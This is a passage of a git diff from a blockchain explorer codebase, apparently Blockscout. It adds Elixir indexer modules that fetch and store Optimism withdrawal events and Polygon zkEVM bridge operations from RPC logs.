{:noreply, state} + end + + @impl GenServer + def handle_info( + :find_new_events, + %{ + start_block: start_block, + safe_block: safe_block, + safe_block_is_latest: safe_block_is_latest, + message_passer: message_passer, + json_rpc_named_arguments: json_rpc_named_arguments, + eth_get_logs_range_size: eth_get_logs_range_size + } = state + ) do + # find and fill all events between start_block and "safe" block + # the "safe" block can be "latest" (when safe_block_is_latest == true) + fill_block_range(start_block, safe_block, message_passer, json_rpc_named_arguments, eth_get_logs_range_size) + + if not safe_block_is_latest do + # find and fill all events between "safe" and "latest" block (excluding "safe") + {:ok, latest_block} = Helper.get_block_number_by_tag("latest", json_rpc_named_arguments) + fill_block_range(safe_block + 1, latest_block, message_passer, json_rpc_named_arguments, eth_get_logs_range_size) + end + + {:stop, :normal, state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + def remove(starting_block) do + Repo.delete_all(from(w in OptimismWithdrawal, where: w.l2_block_number >= ^starting_block)) + end + + def event_to_withdrawal(second_topic, data, l2_transaction_hash, l2_block_number) do + [_value, _gas_limit, _data, hash] = decode_data(data, [{:uint, 256}, {:uint, 256}, :bytes, {:bytes, 32}]) + + msg_nonce = + second_topic + |> Helper.log_topic_to_string() + |> quantity_to_integer() + |> Decimal.new() + + %{ + msg_nonce: msg_nonce, + hash: hash, + l2_transaction_hash: l2_transaction_hash, + l2_block_number: quantity_to_integer(l2_block_number) + } + end + + defp msg_nonce_gap_starts(nonce_max) do + Repo.all( + from(w in OptimismWithdrawal, + select: w.l2_block_number, + order_by: w.msg_nonce, + where: + fragment( + "NOT EXISTS (SELECT msg_nonce FROM op_withdrawals WHERE msg_nonce = (? + 1)) AND msg_nonce != ?", + w.msg_nonce, + ^nonce_max + ) + ), + timeout: :infinity + ) + end + + defp msg_nonce_gap_ends(nonce_min) do + Repo.all( + from(w in OptimismWithdrawal, + select: w.l2_block_number, + order_by: w.msg_nonce, + where: + fragment( + "NOT EXISTS (SELECT msg_nonce FROM op_withdrawals WHERE msg_nonce = (? - 1)) AND msg_nonce != ?", + w.msg_nonce, + ^nonce_min + ) + ), + timeout: :infinity + ) + end + + defp find_and_save_withdrawals( + scan_db, + message_passer, + block_start, + block_end, + json_rpc_named_arguments + ) do + withdrawals = + if scan_db do + query = + from(log in Log, + select: {log.second_topic, log.data, log.transaction_hash, log.block_number}, + where: + log.first_topic == ^@message_passed_event and log.address_hash == ^message_passer and + log.block_number >= ^block_start and log.block_number <= ^block_end + ) + + query + |> Repo.all(timeout: :infinity) + |> Enum.map(fn {second_topic, data, l2_transaction_hash, l2_block_number} -> + event_to_withdrawal(second_topic, data, l2_transaction_hash, l2_block_number) + end) + else + {:ok, result} = + Helper.get_logs( + block_start, + block_end, + message_passer, + [@message_passed_event], + json_rpc_named_arguments, + 0, + 3 + ) + + Enum.map(result, fn event -> + event_to_withdrawal( + Enum.at(event["topics"], 1), + event["data"], + event["transactionHash"], + event["blockNumber"] + ) + end) + end + + {:ok, _} = + Chain.import(%{ + optimism_withdrawals: %{params: withdrawals}, + timeout: :infinity + }) + + Enum.count(withdrawals) + end + + defp fill_block_range( + l2_block_start, + l2_block_end, + message_passer, + json_rpc_named_arguments, + eth_get_logs_range_size, + scan_db + ) do + chunks_number = + if scan_db do + 1 + else + ceil((l2_block_end - l2_block_start + 1) / eth_get_logs_range_size) + end + + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + Enum.reduce(chunk_range, 0, fn current_chunk, withdrawals_count_acc -> + chunk_start = l2_block_start + eth_get_logs_range_size * current_chunk + + chunk_end = + if scan_db do + l2_block_end + else + min(chunk_start + eth_get_logs_range_size - 1, l2_block_end) + end + + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, l2_block_start, l2_block_end, nil, :L2) + + withdrawals_count = + find_and_save_withdrawals( + scan_db, + message_passer, + chunk_start, + chunk_end, + json_rpc_named_arguments + ) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + l2_block_start, + l2_block_end, + "#{withdrawals_count} MessagePassed event(s)", + :L2 + ) + + withdrawals_count_acc + withdrawals_count + end) + end + + defp fill_block_range(start_block, end_block, message_passer, json_rpc_named_arguments, eth_get_logs_range_size) do + if start_block <= end_block do + fill_block_range(start_block, end_block, message_passer, json_rpc_named_arguments, eth_get_logs_range_size, true) + fill_msg_nonce_gaps(start_block, message_passer, json_rpc_named_arguments, eth_get_logs_range_size, false) + {last_l2_block_number, _, _} = get_last_l2_item() + + fill_block_range( + max(start_block, last_l2_block_number), + end_block, + message_passer, + json_rpc_named_arguments, + eth_get_logs_range_size, + false + ) + + Optimism.set_last_block_hash_by_number(end_block, @counter_type, json_rpc_named_arguments) + end + end + + defp fill_msg_nonce_gaps( + start_block_l2, + message_passer, + json_rpc_named_arguments, + eth_get_logs_range_size, + scan_db \\ true + ) do + nonce_min = Repo.aggregate(OptimismWithdrawal, :min, :msg_nonce) + nonce_max = Repo.aggregate(OptimismWithdrawal, :max, :msg_nonce) + + with true <- !is_nil(nonce_min) and !is_nil(nonce_max), + starts = msg_nonce_gap_starts(nonce_max), + ends = msg_nonce_gap_ends(nonce_min), + min_block_l2 = l2_block_number_by_msg_nonce(nonce_min), + {new_starts, new_ends} = + if(start_block_l2 < min_block_l2, + do: {[start_block_l2 | starts], [min_block_l2 | ends]}, + else: {starts, ends} + ), + true <- Enum.count(new_starts) == Enum.count(new_ends) do + new_starts + |> Enum.zip(new_ends) + |> Enum.each(fn {l2_block_start, l2_block_end} -> + withdrawals_count = + fill_block_range( + l2_block_start, + l2_block_end, + message_passer, + json_rpc_named_arguments, + eth_get_logs_range_size, + scan_db + ) + + if withdrawals_count > 0 do + log_fill_msg_nonce_gaps(scan_db, l2_block_start, l2_block_end, withdrawals_count) + end + end) + + if scan_db do + fill_msg_nonce_gaps(start_block_l2, message_passer, json_rpc_named_arguments, eth_get_logs_range_size, false) + end + end + end + + # Determines the last saved L2 block number, the last saved transaction hash, and the transaction info for withdrawals. + # + # Utilized to start fetching from a correct block number after reorg has occurred. + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # Used to get transaction info by its hash from the RPC node. + # Can be `nil` if the transaction info is not needed. + # + # ## Returns + # - A tuple `{last_block_number, last_transaction_hash, last_transaction}` where + # `last_block_number` is the last block number found in the corresponding table (0 if not found), + # `last_transaction_hash` is the last transaction hash found in the corresponding table (nil if not found), + # `last_transaction` is the transaction info got from the RPC (nil if not found or not needed). + # - A tuple `{:error, message}` in case the `eth_getTransactionByHash` RPC request failed. + @spec get_last_l2_item(EthereumJSONRPC.json_rpc_named_arguments() | nil) :: + {non_neg_integer(), binary() | nil, map() | nil} | {:error, any()} + defp get_last_l2_item(json_rpc_named_arguments \\ nil) do + Optimism.get_last_item( + :L2, + &OptimismWithdrawal.last_withdrawal_l2_block_number_query/0, + &OptimismWithdrawal.remove_withdrawals_query/1, + json_rpc_named_arguments, + @counter_type + ) + end + + defp log_fill_msg_nonce_gaps(scan_db, l2_block_start, l2_block_end, withdrawals_count) do + find_place = if scan_db, do: "in DB", else: "through RPC" + + Logger.info( + "Filled gaps between L2 blocks #{l2_block_start} and #{l2_block_end}. #{withdrawals_count} event(s) were found #{find_place} and written to op_withdrawals table." + ) + end + + defp l2_block_number_by_msg_nonce(nonce) do + Repo.one(from(w in OptimismWithdrawal, select: w.l2_block_number, where: w.msg_nonce == ^nonce)) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/withdrawal_event.ex b/apps/indexer/lib/indexer/fetcher/optimism/withdrawal_event.ex new file mode 100644 index 000000000000..03c767b61798 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/withdrawal_event.ex @@ -0,0 +1,369 @@ +defmodule Indexer.Fetcher.Optimism.WithdrawalEvent do + @moduledoc """ + Fills op_withdrawal_events DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Optimism.WithdrawalEvent + alias Explorer.Chain.RollupReorgMonitorQueue + alias Indexer.Fetcher.Optimism + alias Indexer.Helper + + @fetcher_name :optimism_withdrawal_events + @counter_type "optimism_withdrawal_events_fetcher_last_l1_block_hash" + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + # 32-byte signature of the event WithdrawalProven(bytes32 indexed withdrawalHash, address indexed from, address indexed to) + @withdrawal_proven_event "0x67a6208cfcc0801d50f6cbe764733f4fddf66ac0b04442061a8a8c0cb6b63f62" + + # 32-byte signature of the Blast chain event WithdrawalProven(bytes32 indexed withdrawalHash, address indexed from, address indexed to, uint256 requestId) + @withdrawal_proven_event_blast "0x5d5446905f1f582d57d04ced5b1bed0f1a6847bcee57f7dd9d6f2ec12ab9ec2e" + + # 32-byte signature of the event WithdrawalFinalized(bytes32 indexed withdrawalHash, bool success) + @withdrawal_finalized_event "0xdb5c7652857aa163daadd670e116628fb42e869d8ac4251ef8971d9e5727df1b" + + # 32-byte signature of the Blast chain event WithdrawalFinalized(bytes32 indexed withdrawalHash, uint256 indexed hintId, bool success) + @withdrawal_finalized_event_blast "0x36d89e6190aa646d1a48286f8ad05e60a144483f42fd7e0ea08baba79343645b" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(:ok, _state) do + Logger.metadata(fetcher: @fetcher_name) + + Optimism.init_continue(nil, __MODULE__) + end + + @impl GenServer + def handle_info( + :continue, + %{ + contract_address: optimism_portal, + block_check_interval: block_check_interval, + start_block: start_block, + end_block: end_block, + json_rpc_named_arguments: json_rpc_named_arguments, + eth_get_logs_range_size: eth_get_logs_range_size + } = state + ) do + # credo:disable-for-next-line + time_before = Timex.now() + + chunks_number = ceil((end_block - start_block + 1) / eth_get_logs_range_size) + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + last_written_block = + chunk_range + |> Enum.reduce_while(start_block - 1, fn current_chunk, _ -> + chunk_start = start_block + eth_get_logs_range_size * current_chunk + chunk_end = min(chunk_start + eth_get_logs_range_size - 1, end_block) + + if chunk_end >= chunk_start do + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L1) + + {:ok, result} = + Helper.get_logs( + chunk_start, + chunk_end, + optimism_portal, + [ + [ + @withdrawal_proven_event, + @withdrawal_proven_event_blast, + @withdrawal_finalized_event, + @withdrawal_finalized_event_blast + ] + ], + json_rpc_named_arguments, + 0, + Helper.infinite_retries_number() + ) + + withdrawal_events = prepare_events(result, json_rpc_named_arguments) + + {:ok, _} = + Chain.import(%{ + optimism_withdrawal_events: %{params: withdrawal_events}, + timeout: :infinity + }) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(withdrawal_events)} WithdrawalProven/WithdrawalFinalized event(s)", + :L1 + ) + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(__MODULE__) + + if !is_nil(reorg_block) && reorg_block > 0 do + {deleted_count, _} = Repo.delete_all(from(we in WithdrawalEvent, where: we.l1_block_number >= ^reorg_block)) + + log_deleted_rows_count(reorg_block, deleted_count) + + Optimism.set_last_block_hash(@empty_hash, @counter_type) + + {:halt, if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end)} + else + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if chunk_end >= chunk_start do + Optimism.set_last_block_hash_by_number(chunk_end, @counter_type, json_rpc_named_arguments) + end + + {:cont, chunk_end} + end + end) + + new_start_block = last_written_block + 1 + new_end_block = Helper.fetch_latest_l1_block_number(json_rpc_named_arguments) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, %{state | start_block: new_start_block, end_block: new_end_block}} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + defp log_deleted_rows_count(reorg_block, count) do + if count > 0 do + Logger.warning( + "As L1 reorg was detected, all rows with l1_block_number >= #{reorg_block} were removed from the op_withdrawal_events table. Number of removed rows: #{count}." + ) + end + end + + defp get_transaction_input_by_hash(blocks, transaction_hashes) do + Enum.reduce(blocks, %{}, fn block, acc -> + block + |> Map.get("transactions", []) + |> Enum.filter(fn transaction -> + Enum.member?(transaction_hashes, transaction["hash"]) + end) + |> Enum.map(fn transaction -> + {transaction["hash"], transaction["input"]} + end) + |> Enum.into(%{}) + |> Map.merge(acc) + end) + end + + # Prepares withdrawal events from `eth_getLogs` response to be imported to DB. + # + # ## Parameters + # - `events`: The list of L1 withdrawal events from `eth_getLogs` response. + # - `json_rpc_named_arguments`: JSON-RPC configuration containing transport options for L1. + # + # ## Returns + # - A list of `WithdrawalEvent` maps. + @spec prepare_events([map()], EthereumJSONRPC.json_rpc_named_arguments()) :: [WithdrawalEvent.to_import()] + defp prepare_events(events, json_rpc_named_arguments) do + blocks = + events + |> Helper.get_blocks_by_events(json_rpc_named_arguments, Helper.infinite_retries_number(), true) + + transaction_hashes = + events + |> Enum.reduce([], fn event, acc -> + if Enum.member?([@withdrawal_proven_event, @withdrawal_proven_event_blast], Enum.at(event["topics"], 0)) do + [event["transactionHash"] | acc] + else + acc + end + end) + + input_by_hash = get_transaction_input_by_hash(blocks, transaction_hashes) + + timestamps = + blocks + |> Enum.reduce(%{}, fn block, acc -> + block_number = quantity_to_integer(Map.get(block, "number")) + {:ok, timestamp} = DateTime.from_unix(quantity_to_integer(Map.get(block, "timestamp"))) + Map.put(acc, block_number, timestamp) + end) + + events + |> Enum.map(fn event -> + transaction_hash = event["transactionHash"] + + {l1_event_type, game_index, game_address_hash} = + if Enum.member?([@withdrawal_proven_event, @withdrawal_proven_event_blast], Enum.at(event["topics"], 0)) do + {game_index, game_address_hash} = + input_by_hash + |> Map.get(transaction_hash) + |> input_to_game_index_or_address_hash() + + {:WithdrawalProven, game_index, game_address_hash} + else + {:WithdrawalFinalized, nil, nil} + end + + l1_block_number = quantity_to_integer(event["blockNumber"]) + + %{ + withdrawal_hash: Enum.at(event["topics"], 1), + l1_event_type: l1_event_type, + l1_timestamp: Map.get(timestamps, l1_block_number), + l1_transaction_hash: transaction_hash, + l1_block_number: l1_block_number, + game_index: game_index, + game_address_hash: game_address_hash + } + end) + end + + @doc """ + Determines the last saved L1 block number, the last saved transaction hash, and the transaction info for L1 Withdrawal events. + + Used by the `Indexer.Fetcher.Optimism` module to start fetching from a correct block number + after reorg has occurred. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + Used to get transaction info by its hash from the RPC node. + + ## Returns + - A tuple `{last_block_number, last_transaction_hash, last_transaction}` where + `last_block_number` is the last block number found in the corresponding table (0 if not found), + `last_transaction_hash` is the last transaction hash found in the corresponding table (nil if not found), + `last_transaction` is the transaction info got from the RPC (nil if not found). + - A tuple `{:error, message}` in case the `eth_getTransactionByHash` RPC request failed. + """ + @spec get_last_l1_item(EthereumJSONRPC.json_rpc_named_arguments()) :: + {non_neg_integer(), binary() | nil, map() | nil} | {:error, any()} + def get_last_l1_item(json_rpc_named_arguments) do + Optimism.get_last_item( + :L1, + &WithdrawalEvent.last_event_l1_block_number_query/0, + &WithdrawalEvent.remove_events_query/1, + json_rpc_named_arguments, + @counter_type + ) + end + + @doc """ + Returns L1 RPC URL for this module. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + Optimism.l1_rpc_url() + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + before this fetcher starts. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + Optimism.requires_l1_reorg_monitor?() + end + + # Parses input of the prove L1 transaction and retrieves dispute game index or contract address hash + # (depending on whether Super Roots are active) from that. + # + # ## Parameters + # - `input`: The L1 transaction input in form of `0x` string. + # + # ## Returns + # - `{game_index, game_address_hash}` tuple where one of the elements is not `nil`, but another one is `nil` (and vice versa). + # Both elements can be `nil` if the input cannot be parsed (or has unsupported format). + @spec input_to_game_index_or_address_hash(String.t()) :: {non_neg_integer() | nil, String.t() | nil} + defp input_to_game_index_or_address_hash(input) do + method_signature = String.slice(input, 0..9) + + case method_signature do + "0x4870496f" -> + # the signature of `proveWithdrawalTransaction(tuple _transaction, uint256 _disputeGameIndex, tuple _outputRootProof, bytes[] _withdrawalProof)` method + {game_index, ""} = + method_signature + |> slice_game_index_or_address_hash(input) + |> Integer.parse(16) + + {game_index, nil} + + "0x8c90dd65" -> + # the signature of `proveWithdrawalTransaction(tuple _transaction, address _disputeGameProxy, uint256 _outputRootIndex, tuple _superRootProof, tuple _outputRootProof, bytes[] _withdrawalProof)` method + game_address_hash = + method_signature + |> slice_game_index_or_address_hash(input) + |> String.trim_leading("000000000000000000000000") + |> String.pad_leading(42, "0x") + + {nil, game_address_hash} + + _ -> + {nil, nil} + end + end + + # Gets (slices) the dispute game index or its address hash from the transaction input represented as `0x` string. + # + # The input is calldata for either + # `proveWithdrawalTransaction(tuple _transaction, uint256 _disputeGameIndex, tuple _outputRootProof, bytes[] _withdrawalProof)` + # or + # `proveWithdrawalTransaction(tuple _transaction, address _disputeGameProxy, uint256 _outputRootIndex, tuple _superRootProof, tuple _outputRootProof, bytes[] _withdrawalProof)` + # method. + # + # ## Parameters + # - `method_signature`: The method signature string (including `0x` prefix). + # - `input`: The input string (including `0x` prefix). + # + # ## Returns + # - The slice of the input containing dispute game index or address hash. + @spec slice_game_index_or_address_hash(String.t(), String.t()) :: String.t() + defp slice_game_index_or_address_hash(method_signature, input) do + # to get (slice) the index or address from the transaction input, we need to know its offset in the input string (represented as 0x...): + # offset = signature_length (10 symbols including `0x`) + 64 symbols (representing 32 bytes) of the `_transaction` tuple offset, totally is 74 + offset = String.length(method_signature) + 32 * 2 + length = 32 * 2 + + range_start = offset + range_end = range_start + length - 1 + + String.slice(input, range_start..range_end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/pending_block_operations_sanitizer.ex b/apps/indexer/lib/indexer/fetcher/pending_block_operations_sanitizer.ex new file mode 100644 index 000000000000..9d77b55c21ee --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/pending_block_operations_sanitizer.ex @@ -0,0 +1,69 @@ +defmodule Indexer.Fetcher.PendingBlockOperationsSanitizer do + @moduledoc """ + Set block_number for pending block operations that have it empty + """ + + use GenServer + + import Ecto.Query + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.PendingBlockOperation + alias Indexer.Fetcher.InternalTransaction + + @interval :timer.seconds(1) + @batch_size 1000 + @timeout :timer.minutes(1) + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(_args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, :ok, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_) do + Process.send_after(self(), :update_batch, @interval) + {:ok, %{}} + end + + @impl GenServer + def handle_info(:update_batch, state) do + case update_batch() do + [] -> + {:stop, :normal, state} + + _ -> + Process.send_after(self(), :update_batch, @interval) + {:noreply, state} + end + end + + def update_batch do + cte_query = from(pbo in PendingBlockOperation, where: is_nil(pbo.block_number), limit: @batch_size) + + {_, block_numbers} = + PendingBlockOperation + |> with_cte("cte", as: ^cte_query, materialized: false) + |> join(:inner, [pbo], po in "cte", on: pbo.block_hash == po.block_hash) + |> join(:inner, [pbo, po], b in assoc(pbo, :block)) + |> select([pbo, po, b], b.number) + |> update([pbo, po, b], set: [block_number: b.number]) + |> Repo.update_all([], timeout: @timeout) + + transactions = Chain.get_transactions_of_block_numbers(block_numbers) + + InternalTransaction.async_fetch(block_numbers, transactions, false) + + block_numbers + end +end diff --git a/apps/indexer/lib/indexer/fetcher/pending_transaction.ex b/apps/indexer/lib/indexer/fetcher/pending_transaction.ex index 907fd74a5e81..7ac5628efbec 100644 --- a/apps/indexer/lib/indexer/fetcher/pending_transaction.ex +++ b/apps/indexer/lib/indexer/fetcher/pending_transaction.ex @@ -6,7 +6,7 @@ defmodule Indexer.Fetcher.PendingTransaction do validated version that may make it to the database first. """ use GenServer - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent require Logger @@ -166,7 +166,7 @@ defmodule Indexer.Fetcher.PendingTransaction do defp import_chunk(transactions_params) do addresses_params = Addresses.extract_addresses(%{transactions: transactions_params}, pending: true) - # There's no need to queue up fetching the address balance since theses are pending transactions and cannot have + # There's no need to queue up fetching the address balance since these are pending transactions and cannot have # affected the address balance yet since address balance is a balance at a given block and these transactions are # blockless. case Chain.import(%{ diff --git a/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge.ex b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge.ex new file mode 100644 index 000000000000..a61f041bf840 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge.ex @@ -0,0 +1,475 @@ +defmodule Indexer.Fetcher.PolygonZkevm.Bridge do + @moduledoc """ + Contains common functions for Indexer.Fetcher.PolygonZkevm.Bridge* modules. + """ + + require Logger + + import EthereumJSONRPC, + only: [ + quantity_to_integer: 1, + timestamp_to_datetime: 1 + ] + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + import Explorer.Helper, only: [decode_data: 2] + + alias EthereumJSONRPC.Logs + alias Explorer.Chain + alias Explorer.Chain.Hash + alias Explorer.Chain.PolygonZkevm.Reader + alias Indexer.Helper, as: IndexerHelper + alias Indexer.Transform.Addresses + + # 32-byte signature of the event BridgeEvent(uint8 leafType, uint32 originNetwork, address originAddress, uint32 destinationNetwork, address destinationAddress, uint256 amount, bytes metadata, uint32 depositCount) + @bridge_event "0x501781209a1f8899323b96b4ef08b168df93e0a90c673d1e4cce39366cb62f9b" + @bridge_event_params [{:uint, 8}, {:uint, 32}, :address, {:uint, 32}, :address, {:uint, 256}, :bytes, {:uint, 32}] + + # 32-byte signature of the event ClaimEvent(uint32 index, uint32 originNetwork, address originAddress, address destinationAddress, uint256 amount) + @claim_event_v1 "0x25308c93ceeed162da955b3f7ce3e3f93606579e40fb92029faa9efe27545983" + @claim_event_v1_params [{:uint, 32}, {:uint, 32}, :address, :address, {:uint, 256}] + + # 32-byte signature of the event ClaimEvent(uint256 globalIndex, uint32 originNetwork, address originAddress, address destinationAddress, uint256 amount) + @claim_event_v2 "0x1df3f2a973a00d6635911755c260704e95e8a5876997546798770f76396fda4d" + @claim_event_v2_params [{:uint, 256}, {:uint, 32}, :address, :address, {:uint, 256}] + + @symbol_method_selector "95d89b41" + @decimals_method_selector "313ce567" + + @erc20_abi [ + %{ + "constant" => true, + "inputs" => [], + "name" => "symbol", + "outputs" => [%{"name" => "", "type" => "string"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "decimals", + "outputs" => [%{"name" => "", "type" => "uint8"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ] + + @doc """ + Filters the given list of events keeping only `BridgeEvent` and `ClaimEvent` ones + emitted by the bridge contract. + """ + @spec filter_bridge_events(list(), binary()) :: list() + def filter_bridge_events(events, bridge_contract) do + Enum.filter(events, fn event -> + IndexerHelper.address_hash_to_string(event.address_hash, true) == bridge_contract and + Enum.member?( + [@bridge_event, @claim_event_v1, @claim_event_v2], + IndexerHelper.log_topic_to_string(event.first_topic) + ) + end) + end + + @doc """ + Fetches `BridgeEvent` and `ClaimEvent` events of the bridge contract from an RPC node + for the given range of blocks. + """ + @spec get_logs_all({non_neg_integer(), non_neg_integer()}, binary(), list()) :: list() + def get_logs_all({chunk_start, chunk_end}, bridge_contract, json_rpc_named_arguments) do + {:ok, result} = + IndexerHelper.get_logs( + chunk_start, + chunk_end, + bridge_contract, + [[@bridge_event, @claim_event_v1, @claim_event_v2]], + json_rpc_named_arguments, + 0, + IndexerHelper.infinite_retries_number() + ) + + Logs.elixir_to_params(result) + end + + @doc """ + Imports the given zkEVM bridge operations into database. + Used by Indexer.Fetcher.PolygonZkevm.BridgeL1 and Indexer.Fetcher.PolygonZkevm.BridgeL2 fetchers. + Doesn't return anything. + """ + @spec import_operations(list()) :: no_return() + def import_operations(operations) do + addresses = + Addresses.extract_addresses(%{ + polygon_zkevm_bridge_operations: operations + }) + + {:ok, _} = + Chain.import(%{ + addresses: %{params: addresses, on_conflict: :nothing}, + polygon_zkevm_bridge_operations: %{params: operations}, + timeout: :infinity + }) + end + + @doc """ + Converts the list of zkEVM bridge events to the list of operations + preparing them for importing to the database. + """ + @spec prepare_operations( + list(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer() | nil, + non_neg_integer(), + list() | nil, + list(), + map() | nil + ) :: + list() + def prepare_operations( + events, + rollup_network_id_l1, + rollup_network_id_l2, + rollup_index_l1, + rollup_index_l2, + json_rpc_named_arguments, + json_rpc_named_arguments_l1, + block_to_timestamp \\ nil + ) do + is_l1 = json_rpc_named_arguments == json_rpc_named_arguments_l1 + + events = filter_events(events, is_l1, rollup_network_id_l1, rollup_network_id_l2, rollup_index_l1, rollup_index_l2) + + {block_to_timestamp, token_address_to_id} = + if is_nil(block_to_timestamp) do + # this function is called by the catchup indexer, + # so here we can use RPC calls as it's not so critical for delays as in realtime + bridge_events = Enum.filter(events, fn event -> event.first_topic == @bridge_event end) + l1_token_addresses = l1_token_addresses_from_bridge_events(bridge_events, rollup_network_id_l2) + + { + blocks_to_timestamps(bridge_events, json_rpc_named_arguments), + token_addresses_to_ids(l1_token_addresses, json_rpc_named_arguments_l1) + } + else + # this function is called in realtime by the transformer, + # so we don't use RPC calls to avoid delays and fetch token data + # in a separate fetcher + {block_to_timestamp, %{}} + end + + events + |> Enum.map(fn event -> + {index, l1_token_id, l1_token_address, l2_token_address, amount, block_number, block_timestamp} = + case event.first_topic do + @bridge_event -> + { + {l1_token_address, l2_token_address}, + amount, + deposit_count, + _destination_network + } = bridge_event_parse(event, rollup_network_id_l2) + + l1_token_id = Map.get(token_address_to_id, l1_token_address) + block_number = quantity_to_integer(event.block_number) + block_timestamp = Map.get(block_to_timestamp, block_number) + + # credo:disable-for-lines:2 Credo.Check.Refactor.Nesting + l1_token_address = + if is_nil(l1_token_id) do + l1_token_address + end + + {deposit_count, l1_token_id, l1_token_address, l2_token_address, amount, block_number, block_timestamp} + + @claim_event_v1 -> + {index, amount} = claim_event_v1_parse(event) + {index, nil, nil, nil, amount, nil, nil} + + @claim_event_v2 -> + {_mainnet_bit, _rollup_idx, index, _origin_network, amount} = claim_event_v2_parse(event) + {index, nil, nil, nil, amount, nil, nil} + end + + result = %{ + type: operation_type(event.first_topic, is_l1), + index: index, + amount: amount + } + + transaction_hash_field = + if is_l1 do + :l1_transaction_hash + else + :l2_transaction_hash + end + + result + |> extend_result(transaction_hash_field, event.transaction_hash) + |> extend_result(:l1_token_id, l1_token_id) + |> extend_result(:l1_token_address, l1_token_address) + |> extend_result(:l2_token_address, l2_token_address) + |> extend_result(:block_number, block_number) + |> extend_result(:block_timestamp, block_timestamp) + end) + end + + defp blocks_to_timestamps(events, json_rpc_named_arguments) do + events + |> IndexerHelper.get_blocks_by_events(json_rpc_named_arguments, IndexerHelper.infinite_retries_number()) + |> Enum.reduce(%{}, fn block, acc -> + block_number = quantity_to_integer(Map.get(block, "number")) + timestamp = timestamp_to_datetime(Map.get(block, "timestamp")) + Map.put(acc, block_number, timestamp) + end) + end + + defp bridge_event_parse(event, rollup_network_id_l2) do + [ + leaf_type, + origin_network, + origin_address_bytes, + destination_network, + _destination_address, + amount, + _metadata, + deposit_count + ] = decode_data(event.data, @bridge_event_params) + + {:ok, origin_address_hash} = Hash.Address.cast(origin_address_bytes) + + {token_address_by_origin_address(origin_address_hash, origin_network, leaf_type, rollup_network_id_l2), amount, + deposit_count, destination_network} + end + + defp claim_event_v1_parse(event) do + [index, _origin_network, _origin_address, _destination_address, amount] = + decode_data(event.data, @claim_event_v1_params) + + {index, amount} + end + + defp claim_event_v2_parse(event) do + [global_index, origin_network, _origin_address, _destination_address, amount] = + decode_data(event.data, @claim_event_v2_params) + + mainnet_bit = Bitwise.band(Bitwise.bsr(global_index, 64), 1) + + bitmask_4bytes = 0xFFFFFFFF + + rollup_index = Bitwise.band(Bitwise.bsr(global_index, 32), bitmask_4bytes) + + index = Bitwise.band(global_index, bitmask_4bytes) + + {mainnet_bit, rollup_index, index, origin_network, amount} + end + + defp filter_events(events, is_l1, rollup_network_id_l1, rollup_network_id_l2, rollup_index_l1, rollup_index_l2) do + Enum.filter(events, fn event -> + case {event.first_topic, is_l1} do + {@bridge_event, true} -> filter_bridge_event_l1(event, rollup_network_id_l2) + {@bridge_event, false} -> filter_bridge_event_l2(event, rollup_network_id_l1, rollup_network_id_l2) + {@claim_event_v2, true} -> filter_claim_event_l1(event, rollup_index_l2) + {@claim_event_v2, false} -> filter_claim_event_l2(event, rollup_network_id_l1, rollup_index_l1) + _ -> true + end + end) + end + + defp filter_bridge_event_l1(event, rollup_network_id_l2) do + {_, _, _, destination_network} = bridge_event_parse(event, rollup_network_id_l2) + # skip the Deposit event if it's for another rollup + 